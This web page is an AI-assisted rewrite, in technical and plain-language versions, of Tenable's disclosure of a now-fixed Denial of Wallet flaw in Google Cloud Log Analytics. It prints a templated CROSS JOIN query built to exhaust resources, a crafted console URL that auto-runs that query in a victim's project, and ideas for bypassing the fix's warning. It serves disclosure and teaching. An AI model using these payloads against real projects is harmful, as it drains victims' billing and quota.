Skip to content
DoS Write-up Intermediate

Google Cloud Platform (GCP) Cloud Logging Cross-Tenant Denial of Wallet with Log Analytics

A Denial of Wallet vulnerability in Google Cloud Logging's Log Analytics allowed an attacker to craft a URL that, when visited by a victim, automatically executed expensive BigQuery queries in the victim's project. This could cause significant financial costs or exhaust the victim's quota.

Moshe Bernstein Follow

Published on tenable.com

Tenable Research has identified and responsibly disclosed a Denial of Wallet (DoW) vulnerability in Google Cloud Logging's Log Analytics. This vulnerability allowed an attacker to force a victim's project to execute massive, expensive BigQuery queries by visiting a maliciously crafted Cloud Logging URL.

Moshe Bernstein, on tenable.com

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 6 min read.

Context

Google Cloud Logging includes a feature called Log Analytics. It lets you query log data using SQL, and the query can be executed on the BigQuery engine. Log Analytics is reachable from the Cloud Console through a URL that carries the query state in its parameters, so a link can open the console with a query already loaded and, as Tenable Research found, already running.

Tenable Research identified and responsibly disclosed a Denial of Wallet (DoW) vulnerability in this feature. The problem is that when a user navigates to a Log Analytics URL, the embedded SQL query is submitted automatically, even when the query is set to use the BigQuery engine. Because the BigQuery jobs are initiated within the victim's project, the cost of processing the query is billed to the victim's billing account.

Setup

The report describes no special accounts, roles, tools or versions. The precondition is simply that a victim with a Google Cloud project opens a crafted Log Analytics URL in the Cloud Console.

Finding it

Opening a Log Analytics URL causes the embedded SQL query to run without a further confirmation step. That behaviour is convenient for sharing a saved query, but it means the person who clicks a link, not the person who wrote it, decides nothing about whether the query executes. If the query is expensive, the click is what pays for it.

The billing scope matters here. BigQuery jobs started from Log Analytics run inside the project named in the URL. A query that reads from public datasets still executes in the victim's project, so the bytes processed are charged to the victim.

Exploitation

Step 1: Build a resource-exhaustion query

The attacker writes a query that reads the victim's own log view and then multiplies it against large public datasets using repeated CROSS JOIN statements:

SQL
SELECT *

FROM

`[VICTIM_PROJECT].global._Default._AllLogs`

CROSS JOIN `bigquery-public-data.[PUBLIC_DATASET].[PUBLIC_TABLE]`

CROSS JOIN `bigquery-public-data.[PUBLIC_DATASET2].[PUBLIC_TABLE2]`

-- Add many more CROSS JOINS to incur more costs

The first table is the victim's _AllLogs view in the _Default bucket, in the global location. The following CROSS JOIN clauses pair every row with every row of the named tables in bigquery-public-data. Each additional join multiplies the row count, and the comment in the query notes that more joins can be added to increase the cost. The report states that a query built this way can be designed to process terabytes of data.

Step 2: Wrap the query in a Log Analytics URL

The query is placed into the console URL, in the queryHandle parameter and again in the sql field of the chart configuration:

HTTP
https://console.cloud.google.com/logs/analytics;queriedResources=%7B%22resources%22:%5B%22projects%2F[VICTIM_PROJECT]%2Flocations%2Fglobal%2Fbuckets%2F_Default%2Fviews%2F_AllLogs%22%5D%7D;queryHandle=%7B%22query%22:%22[MALICIOUS_QUERY]%22%7D;upperTab=query;lowerTab=query_results;queryLanguage=SQL;useReservedSlots=true?project=[VICTIM_PROJECT]&chartConfig=%7B%22xyChart%22:%7B%22constantLines%22:%5B%5D,%22dataSets%22:%5B%7B%22breakdowns%22:%5B%5D,%22dimensions%22:%5B%7B%22column%22:%22%22,%22columnType%22:%22%22,%22sortColumn%22:%22%22,%22sortOrder%22:%22SORT_ORDER_ASCENDING%22%7D%5D,%22measures%22:%5B%7B%22aggregationFunction%22:%7B%22parameters%22:%5B%5D,%22type%22:%22count%22%7D,%22column%22:%22%22%7D%5D,%22opsAnalyticsQuery%22:%7B%22queryExecutionRules%22:%7B%22useReservedSlots%22:true%7D,%22queryHandle%22:%22%22,%22sql%22:%22[MALICIOUS_QUERY]%22%7D,%22plotType%22:%22STACKED_BAR%22,%22pointConnectionMethod%22:%22GAP_DETECTION%22,%22sortOrderParameters%22:%5B%5D,%22targetAxis%22:%22Y1%22%7D%5D,%22options%22:%7B%22mode%22:%22COLOR%22%7D,%22y1Axis%22:%7B%22label%22:%22%22,%22scale%22:%22LINEAR%22%7D%7D%7D

The important parts of the URL are:

  • queriedResources, a URL-encoded JSON object whose resources array names projects/[VICTIM_PROJECT]/locations/global/buckets/_Default/views/_AllLogs. This is the log view the query reads from.
  • queryHandle, a URL-encoded JSON object whose query field holds the malicious SQL.
  • queryLanguage=SQL, which selects SQL as the query language.
  • useReservedSlots=true, which is also repeated inside the chart configuration as queryExecutionRules.useReservedSlots.
  • project=[VICTIM_PROJECT], which sets the project the console operates on.
  • chartConfig, a URL-encoded JSON object describing a stacked bar chart. Its opsAnalyticsQuery object carries the same SQL in its sql field, alongside the execution rules.

Step 3: Get the victim to open the URL

The attacker sends the link to the victim. When the victim browses to it, the query runs automatically. The BigQuery job is created in the victim's project, and the cost of the data processed is billed to the victim's billing account. The report notes that the victim may incur significant expenses or exhaust their quota.

Root cause

The design flaw is the combination of two behaviours: Log Analytics executes the query embedded in a URL automatically, and the query executes in whichever project the URL names. The report does not describe the server-side code, so the exact implementation gap is not stated; the automatic execution on navigation is the behaviour the fix targets.

Impact

An attacker who can persuade a victim to open a crafted URL can force the victim's project to run large BigQuery queries. The cost lands on the victim's billing account, and the victim may incur significant expenses or exhaust their quota. The expensive work is triggered in the victim's project by a link the attacker controls. The attack requires the victim to navigate to the URL; the report does not describe any way to trigger it without that interaction.

Fix

Google resolved the issue by stopping the automatic running of Log Analytics queries. Queries that involve resources which do not share an ownership boundary now display a warning message asking the user to check whether the query is safe, and the user must manually initiate the query run in charts after confirming.

Variants to test

  1. Other console features that accept query state in the URL. Look for pages that take a query, a job definition or a saved search in their parameters and run it on load. A positive result is a link that starts a billable job in the viewer's project without a confirmation prompt.
  2. Cross-project resource references. In any query interface, try naming a resource in a different project than the one the console session is operating on. A positive result is the query executing against that resource, or executing in the viewer's project while reading data the attacker chose.
  3. Cost amplification through joins. Where a query language allows joins against large public datasets, test whether a short URL can be made to process a very large volume of data. A positive result is a job whose bytes processed are far larger than anything the victim intended to run.
  4. Reserved slot and execution-rule parameters. Parameters such as useReservedSlots change how a job is scheduled and billed. Try toggling them in a crafted URL and observe whether the job still starts automatically and whose quota it consumes.
  5. Warning bypass. After a fix of this kind, check whether the confirmation can be skipped, for example by supplying the state through a different parameter, a different tab, or a chart configuration rather than the query handle. A positive result is a query that runs without the warning being shown.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 12 min read.

What happened, in plain words

Google Cloud is a service where companies rent computers, storage and other tools over the internet instead of buying their own. Every company that uses it gets its own space, called a project, and pays for what it uses, a bit like a metered electricity account.

One of the tools inside Google Cloud is called Cloud Logging. It collects the records (logs) that a company's systems produce, so the company can look back at what happened. A feature inside it, Log Analytics, lets you search those records with a query language called SQL, and it can hand the heavy work to another Google service called BigQuery, which is built for analysing very large amounts of data.

Tenable Research found a problem: a Log Analytics page can be opened from a specially built web address (a URL), and that address can carry a query inside it. When someone opens the address, the query starts running straight away, with no confirmation. If the query is written to be extremely expensive, the bill for running it lands on the project named in the address, which is the victim's project. The attacker pays nothing; the victim pays. This kind of attack is called a Denial of Wallet: nothing is stolen or broken, but money is drained.

Google fixed it by no longer starting such queries automatically, and by showing a warning when a query reaches outside the user's own resources. Google assigned it an S2 severity.

Background you need first

A few everyday ideas make the rest easy to follow.

  • A URL is the address you type or click in a browser, like https://example.com/page. Everything after a ? is extra information the page receives, called parameters. A link can therefore carry instructions, not just point at a page.
  • URL encoding is how special characters travel inside a URL. Characters like {, " and : are written as codes such as %7B, %22 and %3A, because a URL cannot contain them raw. When the page loads, the browser or the site decodes them back.
  • JSON is a plain text format for structured data, using curly braces and quotes, for example {"name": "value"}. Many web pages pass their settings around as JSON stuffed into a URL.
  • SQL is the language used to ask questions of a database, for example "give me all rows from this table".
  • A table in this context is a grid of rows and columns, like a spreadsheet.
  • A query is one such question written in SQL. Running a query means the service reads the data and produces an answer.
  • BigQuery is Google's service for running SQL over enormous datasets. You pay for the amount of data a query reads, measured in bytes, so a query that reads terabytes costs real money. A terabyte is about a thousand gigabytes.
  • A project is a company's own container inside Google Cloud. Resources, permissions and billing are tied to it.
  • A billing account is the payment method attached to a project. Whatever the project consumes is charged there.
  • A quota is a limit on how much of something you may use, for example how much query processing you are allowed in a period. Hitting it can stop your work.
  • A tenant is one customer's isolated space in a shared service. Cross-tenant means one customer's actions affecting another customer's space.
  • A Denial of Wallet (DoW) attack makes the victim spend money rather than making a service unavailable. The comparison is a meter running on someone else's account.
  • A CROSS JOIN is a SQL operation that pairs every row of one table with every row of another. Two tables of 1,000 rows each produce 1,000,000 rows. Add another join and it multiplies again. It is the cheapest way to make a query read a huge amount of data.
  • A view is a saved query that behaves like a table. _AllLogs is the view that represents all of a project's logs, and _Default is the default storage bucket (container) for logs.
  • Public datasets are free-to-read datasets Google hosts, such as those under bigquery-public-data. Reading them is free of data charges in themselves, but the query still runs, and is billed, in whichever project started it.

The setup

The report describes no special accounts, roles, tools or software versions. The only precondition is that a victim who has a Google Cloud project opens a crafted Log Analytics URL in the Cloud Console, the web interface for Google Cloud.

Finding it

A Log Analytics URL is not inert. Opening it causes the SQL query embedded in it to run without any further confirmation step. That behaviour is convenient when you want to share a saved query with a colleague: the link opens the console with the query loaded and running. But it also means the person who clicks the link decides nothing about whether the query executes. The person who wrote the link decides. If the query is expensive, the click is what pays for it.

Billing scope matters here. BigQuery jobs started from Log Analytics run inside the project named in the URL. Even a query that reads from public datasets executes in the victim's project, so the bytes processed are charged to the victim.

Exploitation

Step 1: Build a resource-exhaustion query

The attacker writes a query that reads the victim's own log view and then multiplies it against large public datasets using repeated CROSS JOIN statements:

SQL
SELECT *

FROM

`[VICTIM_PROJECT].global._Default._AllLogs`

CROSS JOIN `bigquery-public-data.[PUBLIC_DATASET].[PUBLIC_TABLE]`

CROSS JOIN `bigquery-public-data.[PUBLIC_DATASET2].[PUBLIC_TABLE2]`

-- Add many more CROSS JOINS to incur more costs

Line by line:

  1. SELECT * means "return every column". The attacker does not care about the answer; the point is the work done to produce it.
  2. FROM introduces the first table to read.
  3. `[VICTIM_PROJECT].global._Default._AllLogs` is the victim's _AllLogs view, in the _Default bucket, in the global location. The square brackets are placeholders the attacker fills in with the real project name.
  4. The first CROSS JOIN pairs every row from the victim's logs with every row of a table in the public dataset bigquery-public-data. The placeholders [PUBLIC_DATASET] and [PUBLIC_TABLE] stand for the dataset and table names the attacker chooses.
  5. The second CROSS JOIN multiplies the result again by every row of a second public table. Each additional join multiplies the row count, so the amount of data processed grows very fast.
  6. The final line, starting with --, is a comment. It is not executed; it is a note to the reader saying that more joins can be added to increase the cost. The report states that a query built this way can be designed to process terabytes of data.

Why this step: the attacker needs a query whose cost is enormous but whose text is short enough to fit in a URL.

Step 2: Wrap the query in a Log Analytics URL

The query is placed into the console URL, in the queryHandle parameter and again in the sql field of the chart configuration:

HTTP
https://console.cloud.google.com/logs/analytics;queriedResources=%7B%22resources%22:%5B%22projects%2F[VICTIM_PROJECT]%2Flocations%2Fglobal%2Fbuckets%2F_Default%2Fviews%2F_AllLogs%22%5D%7D;queryHandle=%7B%22query%22:%22[MALICIOUS_QUERY]%22%7D;upperTab=query;lowerTab=query_results;queryLanguage=SQL;useReservedSlots=true?project=[VICTIM_PROJECT]&chartConfig=%7B%22xyChart%22:%7B%22constantLines%22:%5B%5D,%22dataSets%22:%5B%7B%22breakdowns%22:%5B%5D,%22dimensions%22:%5B%7B%22column%22:%22%22,%22columnType%22:%22%22,%22sortColumn%22:%22%22,%22sortOrder%22:%22SORT_ORDER_ASCENDING%22%7D%5D,%22measures%22:%5B%7B%22aggregationFunction%22:%7B%22parameters%22:%5B%5D,%22type%22:%22count%22%7D,%22column%22:%22%22%7D%5D,%22opsAnalyticsQuery%22:%7B%22queryExecutionRules%22:%7B%22useReservedSlots%22:true%7D,%22queryHandle%22:%22%22,%22sql%22:%22[MALICIOUS_QUERY]%22%7D,%22plotType%22:%22STACKED_BAR%22,%22pointConnectionMethod%22:%22GAP_DETECTION%22,%22sortOrderParameters%22:%5B%5D,%22targetAxis%22:%22Y1%22%7D%5D,%22options%22:%7B%22mode%22:%22COLOR%22%7D,%22y1Axis%22:%7B%22label%22:%22%22,%22scale%22:%22LINEAR%22%7D%7D%7D

The important parts of the URL are:

  • queriedResources, a URL-encoded JSON object whose resources array names projects/[VICTIM_PROJECT]/locations/global/buckets/_Default/views/_AllLogs. This is the log view the query reads from.
  • queryHandle, a URL-encoded JSON object whose query field holds the malicious SQL.
  • queryLanguage=SQL, which selects SQL as the query language.
  • useReservedSlots=true, which is also repeated inside the chart configuration as queryExecutionRules.useReservedSlots.
  • project=[VICTIM_PROJECT], which sets the project the console operates on.
  • chartConfig, a URL-encoded JSON object describing a stacked bar chart. Its opsAnalyticsQuery object carries the same SQL in its sql field, alongside the execution rules.

In plain words: the address is a normal Cloud Console address for Log Analytics, followed by a long list of settings separated by semicolons and an ampersand. The settings are written in encoded JSON, which is why you see %7B (a {), %22 (a quote) and %5B (a [). The placeholders [VICTIM_PROJECT] and [MALICIOUS_QUERY] are where the attacker inserts the real project name and the SQL from step 1.

Why this step: the query alone does nothing. It has to be delivered to the victim's browser inside a link that the console will accept and act on.

Step 3: Get the victim to open the URL

The attacker sends the link to the victim. When the victim browses to it, the query runs automatically. The BigQuery job is created in the victim's project, and the cost of the data processed is billed to the victim's billing account. The report notes that the victim may incur significant expenses or exhaust their quota.

Why this step matters: the attack needs one click. The victim does not have to paste a query, press Run, or approve anything. Opening the page is enough.

Root cause

The design flaw is the combination of two behaviours. First, Log Analytics executes the query embedded in a URL automatically. Second, the query executes in whichever project the URL names. The report does not describe the server-side code, so the exact implementation gap is not stated; the automatic execution on navigation is the behaviour the fix targets.

Impact

An attacker who can persuade a victim to open a crafted URL can force the victim's project to run large BigQuery queries. The cost lands on the victim's billing account, and the victim may incur significant expenses or exhaust their quota. The expensive work is triggered in the victim's project by a link the attacker controls. The attack requires the victim to navigate to the URL; the report does not describe any way to trigger it without that interaction.

Fix

Google resolved the issue by stopping the automatic running of Log Analytics queries. Queries that involve resources which do not share an ownership boundary now display a warning message asking the user to check whether the query is safe, and the user must manually initiate the query run in charts after confirming.

Disclosure timeline

Date What happened
November 16, 2025 Tenable reports the finding to Google, and Google acknowledges
December 1, 2025 Tenable requests an update
December 5, 2025 Google says it is looking into the bug
December 5, 2025 Google accepts the bug and assigns an S2 severity
December 23, 2025 Tenable requests an update
December 23, 2025 Google says the product team is addressing the bug and will share remediation details when available
December 24, 2025 Tenable acknowledges
January 22, 2026 Google says the fix is rolling out; Tenable acknowledges and asks for details
January 26, 2026 Google provides details about the fix
January 28, 2026 Google marks the issue as fixed
February 4, 2026 Google awards a bounty

Variants to test

Each one is a question you can ask about a web page, and each has a clear sign of success.

  1. Other console features that accept query state in the URL. Look for pages that take a query, a job definition or a saved search in their parameters and run it on load. A positive result is a link that starts a billable job in the viewer's project without a confirmation prompt.
  2. Cross-project resource references. In any query interface, try naming a resource in a different project than the one the console session is operating on. A positive result is the query executing against that resource, or executing in the viewer's project while reading data the attacker chose.
  3. Cost amplification through joins. Where a query language allows joins against large public datasets, test whether a short URL can be made to process a very large volume of data. A positive result is a job whose bytes processed are far larger than anything the victim intended to run.
  4. Reserved slot and execution-rule parameters. Parameters such as useReservedSlots change how a job is scheduled and billed. Try toggling them in a crafted URL and observe whether the job still starts automatically and whose quota it consumes.
  5. Warning bypass. After a fix of this kind, check whether the confirmation can be skipped, for example by supplying the state through a different parameter, a different tab, or a chart configuration rather than the query handle. A positive result is a query that runs without the warning being shown.

Glossary

  • API: a defined way for one piece of software to ask another to do something, like a menu of requests a service accepts.
  • BigQuery: Google's service for running SQL queries over very large datasets, billed by the amount of data read.
  • Billing account: the payment method attached to a cloud project; everything the project consumes is charged there.
  • Bucket: a container for stored data; in Cloud Logging, the default container for logs is called _Default.
  • Cloud Console: the web interface used to manage Google Cloud resources.
  • Cloud Logging: Google's service for collecting and searching the records (logs) that systems produce.
  • CROSS JOIN: a SQL operation that pairs every row of one table with every row of another, multiplying the amount of data processed.
  • Cross-tenant: affecting or reaching into another customer's isolated space in a shared service.
  • Denial of Wallet (DoW): an attack that makes the victim spend money rather than making a service unavailable.
  • JSON: a plain text format for structured data using braces, quotes and colons.
  • Log Analytics: the Cloud Logging feature that lets you query logs with SQL, optionally on the BigQuery engine.
  • Logs: the recorded events and messages that systems produce as they run.
  • Parameter: an extra piece of information attached to a URL, usually after a ? or ;, that the page reads.
  • Project: a customer's own container inside Google Cloud, holding resources, permissions and billing.
  • Public dataset: a dataset Google hosts that anyone can read, such as those under bigquery-public-data.
  • Query: a question written in SQL that asks a database to return or process data.
  • Quota: a limit on how much of a resource or service you may use in a period.
  • Resource-exhaustion query: a query deliberately written to consume as much processing as possible.
  • S2 severity: the severity level Google assigned to this bug in its own rating scheme.
  • SQL: the standard language for asking questions of a database.
  • Table: a grid of rows and columns holding data.
  • Tenant: one customer's isolated space in a shared service.
  • Terabyte: about a thousand gigabytes of data.
  • URL: the address of a page or resource on the web.
  • URL encoding: writing special characters in a URL as codes such as %7B for { and %22 for a quote.
  • View: a saved query that behaves like a table when you read from it.
  • Vulnerability: a weakness in software that someone can use to make it behave in a way its owners did not intend.

More by Moshe Bernstein

View all

4 more disclosed reports, best first.

More from Google

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.